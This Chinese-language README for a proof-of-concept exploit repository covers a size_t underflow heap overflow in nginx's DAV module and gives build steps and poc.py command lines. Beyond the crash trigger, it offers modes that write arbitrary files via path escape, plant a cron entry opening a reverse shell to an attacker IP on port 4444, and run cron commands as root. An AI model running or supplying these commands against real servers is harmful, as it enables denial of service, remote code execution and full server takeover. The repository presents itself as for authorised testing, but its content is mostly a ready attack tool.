NGINX ngx_http_dav_module 堆缓冲区溢出,通过 size_t 下溢(远程DoS / 潜在RCE)
src/http/modules/ngx_http_dav_module.c 中的 ngx_http_dav_copy_move_handler() 通过从 Destination 头的 URI 路径组件中减去位置前缀长度来计算目标 URI 的长度。两个值都是 size_t(无符号 64 位)。当目标路径短于位置前缀时,减法会环绕到 ~0,从而产生巨大的 memcpy 长度,溢出 7 字节的堆分配并导致工作进程崩溃。
向使用 alias 映射的 DAV 位置发送一个精心构造的 MOVE 或 COPY 请求即可触发溢出。nginx 主进程会重新生成工作进程,但重复请求会使服务器持续处于崩溃循环中。
ASan 确认:negative-size-param: (size=-7) 位于 ngx_http_core_module.c:1949 的 memcpy 处,由 ngx_http_dav_copy_move_handler 调用。
受影响版本:nginx 0.5.13 到 1.28.2(稳定版)和 1.29.0 到 1.29.6(主线版),使用 --with-http_dav_module 编译并在 DAV 位置使用了 alias。已在 1.28.3 / 1.29.7 中修复(提交 ab4b5b8,PR #1210)。
# Docker(推荐——从源码构建漏洞 nginx):
docker compose up -d --build
python3 poc.py --target 127.0.0.1:8080
# 原生构建(从源码构建 nginx 1.28.2,无需 Docker):
./run.sh # 非 ASan 构建(观察 SIGSEGV 崩溃)
./run.sh --asan # ASan 构建(确定性证据)
./run.sh --both # 依次运行两种构建
# 针对现有漏洞 nginx 实例:
python3 poc.py --target <HOST:PORT>
python3 poc.py --target <HOST:PORT> --no-put # 如果触发文件已存在
python3 poc.py --target <HOST:PORT> --verbose
默认模式仍然是标准崩溃触发器。它发送 PUT 后跟一个精心构造的 MOVE,其 Destination 路径短于 DAV 位置前缀:
python3 poc.py --target <HOST:PORT> --mode crash \
--location-prefix /uploads/ --destination-path /x --alias-len 13
对于授权的实验室配置,当 DAV 目标处理允许相对目标逃逸时,同一工具可以将攻击者控制的内容传送到所选路径。确切的 --location-prefix、--escape-depth 和目标路径必须来自你自己的服务配置和侦察:
# 通过 COPY/MOVE 目标处理将文字内容写入所选路径。
python3 poc.py --target <HOST:PORT> --mode write-file \
--location-prefix /data/ --escape-depth 3 \
--destination-path /tmp/dav-proof.txt --payload-text proof
# 从本地文件写入字节。
python3 poc.py --target <HOST:PORT> --mode write-file \
--location-prefix /data/ --escape-depth 3 \
--destination-path /tmp/payload.bin --payload-file ./payload.bin
# 传递打开反向 Shell 的 cron 条目。
python3 poc.py --target <HOST:PORT> --mode cron-shell \
--location-prefix /data/ --escape-depth 3 \
--destination-path /etc/cron.d/dav-shell \
--lhost <ATTACKER_IP> --lport 4444
# 传递一次性 cron 命令,用于非交互式授权证明。
python3 poc.py --target <HOST:PORT> --mode cron-cmd \
--location-prefix /data/ --escape-depth 3 \
--destination-path /etc/cron.d/dav-proof \
--cron-command 'id > /tmp/dav-root-proof.out'
write-file、cron-shell 和 cron-cmd 是针对具有可写 DAV 源和目标路径逃逸的授权环境的通用传递辅助工具。它们不是证明标准堆溢出崩溃所必需的。
--with-http_dav_module 编译的 nginx,location 块使用 alias(而非 root),dav_methods 包含 COPY 或 MOVErequests,否则 PoC 回退到 Python 标准库以处理纯 HTTP 目标。gcc、make、libpcre2-dev、libssl-dev、zlib1g-dev、wget本项目根据 GNU GPLv3 发布。
它专用于防御性安全研究、教育和授权测试。未经所有者明确许可,不得将此代码用于任何系统或服务。
未经授权使用可能违反适用法律。作者不授予测试第三方系统的权限,也不对滥用行为负责。
有关保证和责任条款,请参阅 LICENSE 文件。
| 文件 | 描述 |
|---|
poc.py | Python PoC——标准崩溃触发器加通用 COPY/MOVE 目标模式 |
run.sh | 从源码构建 nginx(ASan / 非 ASan)并运行 PoC |
Dockerfile | 多阶段构建漏洞 nginx 1.28.2 |
docker-compose.yml | 一键 Docker 设置 |
nginx.conf | 漏洞配置(alias + dav_methods COPY MOVE) |
proof_output.txt | 来自实时验证的 ASan 输出 |